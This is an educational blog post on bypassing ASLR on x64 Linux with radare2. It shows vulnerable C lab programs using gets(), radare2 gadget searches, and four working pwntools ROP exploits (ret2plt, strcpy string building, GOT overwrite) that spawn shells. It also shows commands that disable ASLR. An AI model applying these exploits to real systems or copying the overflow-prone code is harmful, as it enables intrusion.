Reverse engineering x64 binaries with Radare2 - Dealing with ASLR

Reverse engineering x64 binaries with Radare2 - Dealing with ASLR

Introduction

In the previous posts we mainly focused on bypassing DEP and Stack canaries, security mechanisms related to preventing attackers from overflowing the stack and executing code in it. In all of our previous scenarios we relied on hardcoded memory addresses that we obtained by manually debugging the program. As for every measure there is a counter-measure, systems developers very aware of this came up with a solution: if each time that program starts everything gets loaded into different memory addresses, those hardcoded addresses used in exploits will become useles. Easy. And that’s the origin of ASLR. Today we are going to follow this very interesting post by ch0pin to learn a bit more about x64 exploitation and how it can be done using radare2.

About ASLR

Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries. So if the randomisation introduces enough entropy, that is if the randomness works well to the point it is practically impossible to “deduce/guess” the address(es) of the desired functions, the attacks we presented in the previous posts won’t work. For example, by using ASLR the libc base address will be different in each run, so return from libc technique won’t work.

In Linux systems we can enable/disable ASLR with the following:

Disable with:
$echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Enable with:
$echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

You can learn more about ASLR in Linux in here but overall: 0 stands for a full disable of ASLR, everything will be loaded into those same mem spaces. 1 stands for randomise the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment. And 2 is the full ASLR, it stands for randomise the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting on modern Linux systems.

For example, if we have ASLR enabled (by default) and run/debug a program with radare2 a couple of consecutive times and find the base addr for the ld each time:

lab@lab-VirtualBox:~/asl$ radare2 -dAAA example_1
Process with PID 2770 started...
= attach 2770 2770
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 2770 2770
2770
[0x7f7664c05090]> dmm
0x00400000 /home/lab/asl/example_1
0x7f7664c04000 /lib/x86_64-linux-gnu/ld-2.27.so
[0x7f7664c05090]> exit
Do you want to quit? (Y/n)
Do you want to kill the process? (Y/n)
lab@lab-VirtualBox:~/asl$ radare2 -dAAA example_1
Process with PID 2772 started...
= attach 2772 2772
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 2772 2772
2772
[0x7f9c56286090]> dmm
0x00400000 /home/lab/asl/example_1
0x7f9c56285000 /lib/x86_64-linux-gnu/ld-2.27.so
[0x7f9c56286090]> 

So as you see, statically referencing anything in there would be useles.

One may think that a valid technique would be to bruteforce the program memory to find valid addresses for our calls but this image included in the original post will answer your question

aslrbrute

Instead of that we will use a technique called Return2PLT

PLT and GOT

So when we write a program we use code located in what’s called “libraries”. Libraries are modules containing functionalities that can be very useful in many many different programs, preventing us from having to write the same basic stuff every time we write a new different program, thus enabling practical code reuse. When we include libraries such as stdio and the like in our program and fully build the executable, LINKING happens. Linking can happen in two ways: by copying the code of the library directly to the program (machine code), that is static linking or by making some kind of arrangements so that the complete code of the library is not copied, just a reference to it so the code from the libary will be accessible in EXECUTION TIME, that is dynamic linking. Usually you will see dynamic linking. Whenever you include the stdio lib or the like those’ll be linked dynamically. What’s interesting for us is dynamic linking:

Dynamic linking defers much of the linking process until a program starts running Performs the linking process “on the fly” as programs are executed in the system. Libraries are loaded into memory by programs when they start. During compilation of the library, the machine code is stored on your machine. When you recompile a program that uses this library, only the new code in the program is compiled. Does not recompile the library into the executable file like in static linking. The main reason for using dynamic linking of libraries is to free your software from the need to recompile with each new release of library. Dynamic linking is the more modern approach, and has the advantage of much smaller executable size. It helps overall performance as it saves space on disk and (that is important) libraries are only mapped into the process when needed!

This process of dynamic linkin is done by making use of the PLT and GOT tables on the executable,

those tables are located in the binary. An elf binary in our case:

elfprogram

Procedure Linkage Table is a read only table in ELF file that stores all necessary symbols that need a resolution [out printf or puts function]. Keep in mind that this resolution happens when a call to the function is performed, It will invoke the dynamic linker to resolve the address of the requested function at run time.

Global Offset Table is a writable memory that is used to store pointers to the functions resolved. Once the dynamic linker resolves a function then it will update GOT to have that entry ready for usage.

Let’s inspect those two in this very simple program we can compile with the (no-pie) option:

#include <stdio.h>

int main() {
    printf("Hello World!\n");
    return 0;
}

Let’s go look for those tables inside the demo program:

So we can place a breakpoint before and after the printf() function is called (the compiler translated it to puts but it’s the same thing for our example) and inspect the memory.

We will see that there is a call to “sym.imp.puts” that is the PLT. If we inspect the memory on that BEFORE calling it we will see a JMP to whats stored in 0x601018, That is the GOT. Initially that will point just 6 bytes away or something and thats OK because for the first call, due to lazy resolving, the program will need to resolve the address and then go there. After that first call, the real address of the desired function on the library will be stored in the GOT table, and the next calls will avoid the resolution process and jump directly there. Let’s check it on radare2:

[0x7f230ded6090]> s sym.main
[0x004004e7]> pdf
            ;-- main:
/ (fcn) sym.main 23
|   sym.main ();
|              ; DATA XREF from 0x0040041d (entry0)
|           0x004004e7      55             push rbp
|           0x004004e8      4889e5         mov rbp, rsp
|           0x004004eb      488d3d920000.  lea rdi, qword str.Hello_World ; 0x400584 ; "Hello World!" ; const char * s
|           0x004004f2      e8f9feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004004f7      b800000000     mov eax, 0
|           0x004004fc      5d             pop rbp
\           0x004004fd      c3             ret
[0x004004e7]> db 0x004004f2
[0x004004e7]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
|   sym.imp.puts ();
|              ; CALL XREF from 0x004004f2 (sym.main)
\           0x004003f0      ff25220c2000   jmp qword reloc.puts_24     ; [0x601018:8]=0x4003f6
[0x004004e7]> db 0x004004f7
[0x004004e7]> dc
hit breakpoint at: 4004f2
[0x004004e7]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
|   sym.imp.puts ();
|              ; CALL XREF from 0x004004f2 (sym.main)
\           0x004003f0      ff25220c2000   jmp qword reloc.puts_24     ; [0x601018:8]=0x4003f6
[0x004004e7]> pd 10 @ 0x4003f6
        :   0x004003f6      6800000000     push 0
        `=< 0x004003fb      e9e0ffffff     jmp 0x4003e0
            ;-- section_end..plt:
            ;-- section..text:
            ;-- r12:
/ (fcn) entry0 43
|   entry0 ();
|           0x00400400      31ed           xor ebp, ebp                ; [13] --r-x section size 370 named .text
|           0x00400402      4989d1         mov r9, rdx
|           0x00400405      5e             pop rsi
|           0x00400406      4889e2         mov rdx, rsp
|           0x00400409      4883e4f0       and rsp, 0xfffffffffffffff0
|           0x0040040d      50             push rax
|           0x0040040e      54             push rsp
|           0x0040040f      49c7c0700540.  mov r8, sym.__libc_csu_fini ; 0x400570
[0x004004e7]> dc
Hello World!
hit breakpoint at: 4004f7
[0x004004e7]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
|   sym.imp.puts ();
|              ; CALL XREF from 0x004004f2 (sym.main)
\           0x004003f0      ff25220c2000   jmp qword reloc.puts_24     ; [0x601018:8]=0x7f230db64970 ; "pI\xb6\r#\x7f"
[0x004004e7]> 

[0x004004e7]> pxw @ 0x601018:8
0x00601018  0x0db64970 0x00007f23 0x00000000 0x00000000  pI..#...........

As we can see, the first time printf(puts) is called in this program, the linker comes into play, the address of the function is retrieved and the GOT table updated. From there on, all calls to to puts will reference the 0x7f230db64970 address stored in got.

[0x004004e7]> pd 10 @ 0x7f230db64970
            0x7f230db64970      4155           push r13
            0x7f230db64972      4154           push r12
            0x7f230db64974      4989fc         mov r12, rdi
            0x7f230db64977      55             push rbp
            0x7f230db64978      53             push rbx
            0x7f230db64979      4883ec08       sub rsp, 8
            0x7f230db6497d      e80e08faff     call 0x7f230db05190
            0x7f230db64982      488b2dbfbe36.  mov rbp, qword [0x7f230ded0848] ; [0x7f230ded0848:8]=0x7f230ded0760

Position independent Executables

Position Independent Executables (PIE) are an output of the hardened package build process making use of ASLR enabled in the modern Linux versions. A PIE binary and all of its dependencies are loaded into random locations within virtual memory each time the application is executed. This makes Return Oriented Programming (ROP) attacks much more difficult to execute reliably. In a PIE binary, all of the mem addresses we see while debugging the program will be different each time. If the program has not been built with the PIE option but still ASLR is enabled on the system, the memory addresses related to the program will remain the same on each execution but those related to the libraries (calls resolved on exec time) will be RANDOM. So a call to a function entirely contained in the program will be 100% doable (hardcoding the address will work) but a call to, let’s say, system() won’t work, as the address to that function will be different every time. We can build non-PIE programs with the -no-pie option on gcc.

Bypassing ASLR

So knowing that, let’s try to perform the ancient art of binary exploiting in a system where ASLR is enabled.

Existing (useful) call

Let’s start with this particular case:

#include <stdio.h>
void unused_shell_func(){
    system("/bin/sh");
}
void greet_me()
{
    char name[200];
    
    printf("Enter your name:");
    gets(name);
    printf("Hi there %s !!\n",name);
  
}
int main(int argc, char *argv[])
{
    
    greet_me();
    return 0;  
}

In this case, we start from the presented program built with -no-pie. In here we see that we have an unused function, that actually calls /bin/sh an interesting call for sure. The function exists and it will be visible in the memory space of the program though it won’t be called “naturally” by the program. The exploit here is very easy, as the program is not PIE the address of that function will remain the same in every execution.

To craft an exploit for this one, first we detect the address of the unused function:

[0x7ffff7dd4090]> afl
0x00400000    3 72   -> 73   sym.imp.__libc_start_main
0x00400438    3 23           sym._init
0x00400460    1 6            sym.imp.system
0x00400470    1 6            sym.imp.printf
0x00400480    1 6            sym.imp.gets
0x00400490    1 43           entry0
0x004004c0    1 2            sym._dl_relocate_static_pie
0x004004d0    3 35           sym.deregister_tm_clones
0x00400500    3 53           sym.register_tm_clones
0x00400540    3 34   -> 29   sym.__do_global_dtors_aux
0x00400570    1 7            entry1.init
0x00400577    1 24           sym.unused_shell_func
0x0040058f    1 78           sym.greet_me
0x004005dd    1 32           sym.main
0x00400600    4 101          sym.__libc_csu_init
0x00400670    1 2            sym.__libc_csu_fini
0x00400674    1 9            sym._fini
0x00600ff0    1 18           reloc.__libc_start_main_240
[0x7ffff7dd4090]> 

Then we will need a “ret” instruction to jump there. Note that the “ret” instruction address to be included in the exploit needs to be located inside the memory space of the ELF not the libraries as those will be loaded randomly every time! We can search for that ret in radare2 using e search.from/to.

[0x7ffff7dd4090]> dm
0x0000000000400000 # 0x0000000000401000 - usr     4K s -r-x /home/lab/asl/example_1 /home/lab/asl/example_1 ; map.home_lab_asl_example_1._r_x
0x0000000000600000 # 0x0000000000602000 - usr     8K s -rw- /home/lab/asl/example_1 /home/lab/asl/example_1 ; map.home_lab_asl_example_1._rw
0x00007ffff7dd3000 # 0x00007ffff7dfc000 * usr   164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr    12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr     4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffe000 - usr     8K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr     4K s -rw- unk0 unk0
0x00007ffffffde000 # 0x00007ffffffff000 - usr   132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x7ffff7dd4090]> e search.from=0x0000000000400000
[0x7ffff7dd4090]> e search.to=0x0000000000401000
[0x7ffff7dd4090]> 

After defining the space, we can search for that ret:

0x00400490]> /R ret
  0x00400440               0b20  or esp, dword [rax]
  0x00400442             004885  add byte [rax - 0x7b], cl
  0x00400445         c07402ffd0  sal byte [rdx + rax - 1], 0xd0
  0x0040044a           4883c408  add rsp, 8
  0x0040044e                 c3  ret

And, no mistery, the exploit comes as simple as that:

from pwn import *

unused_shell_func = 0x00400577
ret = 0x0040044e

buf=  b'A' * 208
buf += b'\x42' * 8
buf += p64(ret)
buf += p64(unused_shell_func)

sys.stdout.buffer.write(buf)

And boom, the shell :)

lab@lab-VirtualBox:~/asl$ (python3 exploit1.py ; cat; ) | ./example_1 
id
Enter your name:Hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBN@ !!
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

Call reuse by parameter switching

But that previous scenario we presented seems to be a bit… unrealistic. What if we have a call to system or any other function that is really interesting but it gets called with random parameters not useful to our interests?

Let’s start now from this program:


#include <stdio.h>
void show_date(){
    system("/bin/date");
}
void greet_me()
{
    char name[200];
    printf("Enter your name:");
    gets(name);
    printf("%s !it is you again  !!! oh my gosh",name);
  
}
int main(int argc, char *argv[])
{
    show_date();
    greet_me();
    return 0;  
}

In this case we will manually call the system() function from PLT as it is used in the program. But with our custom parameters. We start by noting the PLT addr of system from the call list:

[0x7fe1dcdf0090]> afl
0x00400000    3 72   -> 73   sym.imp.__libc_start_main
0x00400438    3 23           sym._init
0x00400460    1 6            sym.imp.system
0x00400470    1 6            sym.imp.printf
0x00400480    1 6            sym.imp.gets
0x00400490    1 43           entry0
0x004004c0    1 2            sym._dl_relocate_static_pie
0x004004d0    3 35           sym.deregister_tm_clones
0x00400500    3 53           sym.register_tm_clones
0x00400540    3 34   -> 29   sym.__do_global_dtors_aux
0x00400570    1 7            entry1.init
0x00400577    1 24           sym.show_date
0x0040058f    1 78           sym.greet_me
0x004005dd    1 42           sym.main
0x00400610    4 101          sym.__libc_csu_init
0x00400680    1 2            sym.__libc_csu_fini
0x00400684    1 9            sym._fini
0x00600ff0    1 18           reloc.__libc_start_main_240
[0x7fe1dcdf0090]> 

Then we proceed to find the ret but also the pop rdi; ret to pass the parameter to system()

  0x00400448               ffd0  call rax
  0x0040044a           4883c408  add rsp, 8
  0x0040044e                 c3  ret

  0x00400444               85c0  test eax, eax
  0x00400446               7402  je 0x40044a

[0x00400490]> /R pop rdi
  0x00400673                 5f  pop rdi
  0x00400674                 c3  ret

And now well need the “sh” string. It is important to note that we will need an “sh” string ended by a null terminator so sh\x00 is what we’ll need.

/ (fcn) sym.greet_me 78
|   sym.greet_me ();
|           ; var int local_d0h @ rbp-0xd0
|              ; CALL XREF from 0x004005fb (sym.main)
|           0x0040058f      55             push rbp
|           0x00400590      4889e5         mov rbp, rsp
|           0x00400593      4881ecd00000.  sub rsp, 0xd0
|           0x0040059a      488d3d010100.  lea rdi, qword str.Enter_your_name: ; 0x4006a2 ; "Enter your name:" ; const char * format
|           0x004005a1      b800000000     mov eax, 0
|           0x004005a6      e8c5feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004005ab      488d8530ffff.  lea rax, qword [local_d0h]
|           0x004005b2      4889c7         mov rdi, rax                ; char *s
|           0x004005b5      b800000000     mov eax, 0
|           0x004005ba      e8c1feffff     call sym.imp.gets           ; char*gets(char *s)
|           0x004005bf      488d8530ffff.  lea rax, qword [local_d0h]
|           0x004005c6      4889c6         mov rsi, rax
|           0x004005c9      488d3de80000.  lea rdi, qword str.s__it_is_you_again______oh_my_gosh ; 0x4006b8 ; "%s !it is you again  !!! oh my gosh" ; const char * format
|           0x004005d0      b800000000     mov eax, 0
|           0x004005d5      e896feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004005da      90             nop
|           0x004005db      c9             leave
\           0x004005dc      c3             ret
[0x0040058f]> 

In this example this is easy as in “oh my gosh” we end with “sh” and then the string just ends there.

[0x0040058f]> pxw @ 0x4006b8
0x004006b8  0x21207325 0x69207469 0x6f792073 0x67612075  %s !it is you ag
0x004006c8  0x206e6961 0x21212120 0x20686f20 0x6720796d  ain  !!! oh my g
0x004006d8  0x0068736f 0x3b031b01 0x00000048 0x00000008  osh....;H.......
0x004006e8  0xfffffd74 0x000000a4 0xfffffdb4 0x00000064  t...........d...

So we locate where “sh” starts and that’ll be the address for our param:


[0x0040058f]> pxw @ 0x004006d9
0x004006d9  0x01006873 0x483b031b 0x08000000 0x74000000  sh....;H.......t
0x004006e9  0xa4fffffd 0xb4000000 0x64fffffd 0xe4000000  ...........d....
0x004006f9  0x90fffffd 0x9b000000 0xccfffffe 0xb3000000  ................

The exploit then can be crafted as the following:

from pwn import *

ret = 0x0040044e
pop_rdi_ret = 0x00400673
sh_address = 0x004006d9
system = 0x00400460

buf=  b'A' * 208
buf += b'\x42' * 8

buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(sh_address)
buf += p64(system)

sys.stdout.buffer.write(buf)

And the shell pops up as usual:

lab@lab-VirtualBox:~/asl$ (python3 exploit2.py; cat;) | ./example_2
Thu Jun 30 07:54:42 EDT 2022

id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

Call reuse and string crafting

But in a case such as the previously presented, it’ll be rare to find a stirng ending with “sh” or something like that, even more rare in MS Windows (cmd.exe). But it may be more common, especially in large executables to find a call to strcpy or some function like that, used for operating with strings. In a scenario like that we’ll try to call strcpy to actually BUILD “sh” in memory and then reference it.

Let’s start from this program here:

#include <stdio.h>
#include <string.h>
void unused(){
    char dummy1[10];
    char dummy2[10];
    strcpy(dummy1,dummy2);
}
void show_date(){
    system("/bin/date");
}
void greet_me()
{
    char name[200];
    show_date();
    printf("Enter your name:");
    gets(name);
    printf("hi %s !\n",name);
  
}
int main(int argc, char *argv[])
{
    greet_me();
    return 0;  
}

So first of all we will need to find the letter “s” and the letter “h” each of them before a null terminator. That can be done in radare2 like this:

[0x004004e0]> / s\x00
Searching 2 bytes in [0x400000-0x401000]
hits: 1
0x0040036e hit40_0 .libc.so.6gets\u0000strcpyprintfsy.
[0x004004e0]> pxw @ 0x0040036e
0x0040036e  0x74730073 0x79706372 0x69727000 0x0066746e  s.strcpy.printf.

[0x004004e0]> / h\x00
Searching 2 bytes in [0x400000-0x401000]
hits: 1
0x004004a6 hit39_0 .%t @%r h\u0000%j h.
[0x004004e0]> pxw @ 0x004004a6
0x004004a6  0x00000068 0xffe0e900 0x25ffffff 0x00200b6a  h..........%j. .
0x004004b6  0x00000168 0xffd0e900 0x25ffffff 0x00200b62  h..........%b. .

Then we proceed to find the instructions needed for passing the parameters:

[0x004004e0]> /R pop rsi
  0x004006e1                 5e  pop rsi
  0x004006e2               415f  pop r15
  0x004006e4                 c3  ret

And detect the PLT of strcpy/system:

[0x004004e0]> afl
0x00400000    3 72   -> 73   sym.imp.__libc_start_main
0x00400470    3 23           sym._init
0x004004a0    1 6            sym.imp.strcpy
0x004004b0    1 6            sym.imp.system
0x004004c0    1 6            sym.imp.printf
0x004004d0    1 6            sym.imp.gets

We will also need the address of some memory region we can write in. We can go to the .data section of the executable as it will have RW permissions, that is important, if we try to write to an address that looks “empty” but its located inside a non-writeable regetion, strcpy will fail.

And again, after that, the exploit comes easy, we write “s”, we write “h\x00”, we pass the parameters via the registers and call system:

from pwn import *

h_address = 0x4004a6
s_address = 0x40036e

write_to = 0x6010f0
system = 0x4004b0
strcpy = 0x4004a0

ret = 0x40028d
pop_rdi_ret = 0x4006e3
pop_rsi_pop_r15_ret=0x4006e1
dummy = b'C' * 8

buf= b'A' * 208
buf += b'\x42' * 8

#-------------------------copy 's' to .data
buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(write_to)
buf += p64(pop_rsi_pop_r15_ret)
buf += p64(s_address)
buf += dummy
buf += p64(strcpy)

#-------------------------copy 'h' to .data
buf += p64(pop_rdi_ret)
buf += p64(write_to+0x1)
buf += p64(pop_rsi_pop_r15_ret)
buf += p64(h_address)
buf += dummy
buf += p64(strcpy)

#-------------------------call system with 'sh' as parameter
buf += p64(pop_rdi_ret)
buf += p64(write_to)
buf += p64(system)

And, another shell:

lab@lab-VirtualBox:~/asl$ (python3 exploit3.py; cat;) | ./example_3 
Thu Jun 30 08:49:30 EDT 2022
id
Enter your name:hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�@ !
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

Crafting our way to system()

This last case is a bit more complex but still easy to exploit if we follow the methodology. Here we face a more complex program, that will represent a large binary, with many functionalities, different libraries referenced and no reference to system.

#include <stdio.h>
#include <string.h>

__asm__(".globl func\n\t"
        ".type func, @function\n\t"
        "func:\n\t"
        ".cfi_startproc\n\t"
        "sub %rbp, (%rdi)\n\t"
        "ret\n\t"
        ".cfi_endproc");

char *dummy = "sh";    

void greet_me()
{
    char name[200];
    printf("Enter your name:");
    gets(name);
    printf("hi %s !\n",name);
  
}
int main(int argc, char *argv[])
{
    greet_me();
    return 0;  
}

The process here will be the following: We will find the addresses of printf() and system() in libc. Then we will compute the difference between them and we will use that to update the GOT and perform a call to system().

So we start by finding the plt of printf(). We cant’ find the plt of system() because it is not used here.

[0x00400450]> afl
0x00400000    3 72   -> 73   sym.imp.__libc_start_main
0x00400400    3 23           sym._init
0x00400430    1 6            sym.imp.printf
0x00400440    1 6            sym.imp.gets
0x00400450    1 43           entry0
0x00400480    1 2            sym._dl_relocate_static_pie
0x00400490    3 35           sym.deregister_tm_clones
0x004004c0    3 53           sym.register_tm_clones
0x00400500    3 34   -> 29   sym.__do_global_dtors_aux
0x00400530    1 7            entry1.init
0x00400537    1 4            sym.func
0x0040053b    1 78           sym.greet_me
0x00400589    1 32           sym.main
0x004005b0    4 101          sym.__libc_csu_init
0x00400620    1 2            sym.__libc_csu_fini
0x00400624    1 9            sym._fini
0x00600ff0    1 18           reloc.__libc_start_main_240
[0x00400450]> 

Then we go check the GOT:

[0x00400450]> dm
0x0000000000400000 # 0x0000000000401000 * usr     4K s -r-x /home/lab/asl/example_4 /home/lab/asl/example_4 ; map.home_lab_asl_example_4._r_x
0x0000000000600000 # 0x0000000000601000 - usr     4K s -r-- /home/lab/asl/example_4 /home/lab/asl/example_4 ; map.home_lab_asl_example_4._rw
0x0000000000601000 # 0x0000000000602000 - usr     4K s -rw- /home/lab/asl/example_4 /home/lab/asl/example_4 ; obj._GLOBAL_OFFSET_TABLE

GOT TABLE
[0x00400430]> ir
[Relocations]
vaddr=0x00600ff0 paddr=0x00000ff0 type=SET_64 __libc_start_main
vaddr=0x00600ff8 paddr=0x00000ff8 type=SET_64 __gmon_start__
vaddr=0x00601018 paddr=0x00001018 type=SET_64 printf
vaddr=0x00601020 paddr=0x00001020 type=SET_64 gets

And we compute the difference between those functions:

[0x00400450]> dmi libc system~ system$
1406 0x0004f420 0x7fc5bb8e7420   WEAK   FUNC   45 system
[0x00400450]> dmi libc printf~ printf$
629 0x00064e40 0x7fc5bb8fce40 GLOBAL   FUNC  195 printf
[0x00400450]> 

delta = 0x15A20

So system will be the address of printf + 0x15A20.

And then the rest of the exploit can be crafted following the same scheme we did in the previous ones. We will calculate the address of system, update the GOT with that table and then call to printf() at PLT that will go check the GOT thus going to system() instead!

from pwn import *

ret = 0x004005a8
pop_rdi_ret=0x00400613
pop_rbp_ret=0x00400519
sub_rdi_rbp = 0x00400537 #sub qword ptr [rdi], rbp; ret; 
offset_to_system =  0x7fc5bb8fce40 - 0x7fc5bb8e7420 # ok
sh__string = 0x00400634



printf_at_got = 0x00601018
printf_at_plt = 0x00400430
buf= b'A' * 216


buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(printf_at_got)
buf += p64(pop_rbp_ret)
buf += p64(offset_to_system)
buf += p64(sub_rdi_rbp)
#------------to system
buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(sh__string)
buf += p64(printf_at_plt)

sys.stdout.buffer.write(buf)

Resulting into a very nice shell:

lab@lab-VirtualBox:~/asl$ (python3 exploit4.py; cat;) | ./example_4 
id
Enter your name:hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@ !
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Reverse engineering x64 binaries with Radare2 - Dealing with ASLR
Older post

Malware analysis with IDA/Radare2 - C# Malware (Ziraat)

Newer post

Malware analysis with IDA/Radare2 - Analyzing maldocs (Emotet Dropper)

Reverse engineering x64 binaries with Radare2 - Dealing with ASLR